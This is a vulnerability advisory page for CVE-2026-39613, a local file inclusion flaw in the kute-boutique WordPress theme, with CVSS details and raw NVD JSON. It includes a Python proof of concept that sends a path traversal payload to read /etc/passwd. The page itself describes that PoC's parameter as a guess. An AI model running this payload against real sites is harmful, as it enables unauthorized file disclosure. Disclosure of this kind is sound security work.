CVE-2026-39613

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in kutethemes Boutique kute-boutique allows PHP Local File Inclusion.This issue affects Boutique: from n/a through <= 2.3.3.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

kute-boutique <= 2.3.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-39613 (Local File Inclusion)
import requests

def check_lfi(target_url):
    # Common vulnerable endpoint path based on theme structure
    # The specific parameter might vary, this is a conceptual example
    vuln_path = "/wp-content/themes/kute-boutique/"
    
    # Payload to read /etc/passwd on Linux systems
    traversal_payload = "?page=../../../../../../etc/passwd"
    
    full_url = target_url + vuln_path + traversal_payload
    
    try:
        response = requests.get(full_url, timeout=10)
        if response.status_code == 200:
            if "root:" in response.text and "x:" in response.text:
                print(f"[+] Vulnerability confirmed at: {full_url}")
                print("[+] Leaked /etc/passwd content:")
                print(response.text[:500]) # Print first 500 chars
            else:
                print("[-] Target might not be vulnerable or payload failed.")
        else:
            print(f"[-] HTTP Status Code: {response.status_code}")
    except Exception as e:
        print(f"Error connecting to target: {e}")

if __name__ == "__main__":
    # Replace with actual target URL
    target = "http://example.com"
    check_lfi(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39613
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39613
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39613/
[4] VulDB https://vuldb.com/cve/CVE-2026-39613
[5] https://patchstack.com/database/Wordpress/Theme/kute-boutique/vulnerability/wordpress-boutique-theme-2-3-3-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39613", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:31.050", "lastModified": "2026-04-24T18:06:58.907", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in kutethemes Boutique kute-boutique allows PHP Local File Inclusion.This issue affects Boutique: from n/a through <= 2.3.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/kute-boutique/vulnerability/wordpress-boutique-theme-2-3-3-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}